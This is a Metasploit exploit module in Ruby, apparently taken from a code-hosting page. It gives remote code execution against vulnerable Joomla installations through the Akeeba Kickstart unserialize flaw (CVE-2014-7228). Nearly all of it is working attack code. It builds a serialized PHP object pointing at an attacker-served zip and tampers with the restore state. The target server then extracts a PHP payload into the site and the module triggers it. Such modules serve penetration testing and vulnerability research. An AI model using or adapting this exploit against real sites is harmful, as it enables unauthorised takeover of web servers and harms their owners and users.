150 lines
5.3 KiB
Ruby
150 lines
5.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/zip'
|
|
require 'json'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
|
|
3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
|
|
component, which is responsible for Joomla! updates. Nevertheless it is worth to note
|
|
that this vulnerability is only exploitable during the update of the Joomla! CMS.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Johannes Dahse', # Vulnerability discovery
|
|
'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2014-7228' ],
|
|
[ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
|
|
[ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
|
|
[ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
|
|
],
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
|
|
],
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Sep 29 2014",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
|
|
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
|
|
)
|
|
|
|
if res && res.code == 200
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def primer
|
|
srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"
|
|
|
|
php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
|
|
php_filename = rand_text_alpha(8 + rand(8)) + '.php'
|
|
|
|
# Create the zip archive
|
|
print_status("Creating archive with file #{php_filename}")
|
|
zip_file = Rex::Zip::Archive.new
|
|
zip_file.add_file(php_filename, payload.encoded)
|
|
@zip = zip_file.pack
|
|
|
|
# First step: call restore to run _prepare() and get an initialized AKFactory
|
|
print_status("#{peer} - Sending PHP serialized object...")
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
|
|
'vars_get' => {
|
|
'task' => 'stepRestore',
|
|
'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
|
|
print_status("#{res.code}\n#{res.body}")
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
|
|
end
|
|
|
|
# Second step: modify the currentPartNumber within the returned serialized AKFactory
|
|
json = /###(.*)###/.match(res.body)[1]
|
|
begin
|
|
b64encoded_prepared_factory = JSON.parse(json)['factory']
|
|
rescue JSON::ParserError
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
|
|
end
|
|
|
|
prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
|
|
modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
|
|
|
|
print_status("#{peer} - Sending initialized and modified AKFactory...")
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
|
|
'vars_get' => {
|
|
'task' => 'stepRestore',
|
|
'factory' => Rex::Text.encode_base64(modified_factory)
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
|
|
end
|
|
|
|
register_files_for_cleanup(php_filename)
|
|
|
|
print_status("#{peer} - Executing payload...")
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
|
|
}, 2)
|
|
|
|
end
|
|
|
|
def exploit
|
|
begin
|
|
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
|
rescue Timeout::Error
|
|
# When the server stops due to our timeout, this is raised
|
|
end
|
|
end
|
|
|
|
# Handle incoming requests from the server
|
|
def on_request_uri(cli, request)
|
|
if @zip && request.uri =~ /\.zip$/
|
|
print_status("Sending the ZIP archive...")
|
|
send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
|
|
return
|
|
end
|
|
|
|
print_status("Sending not found...")
|
|
send_not_found(cli)
|
|
end
|
|
|
|
end
|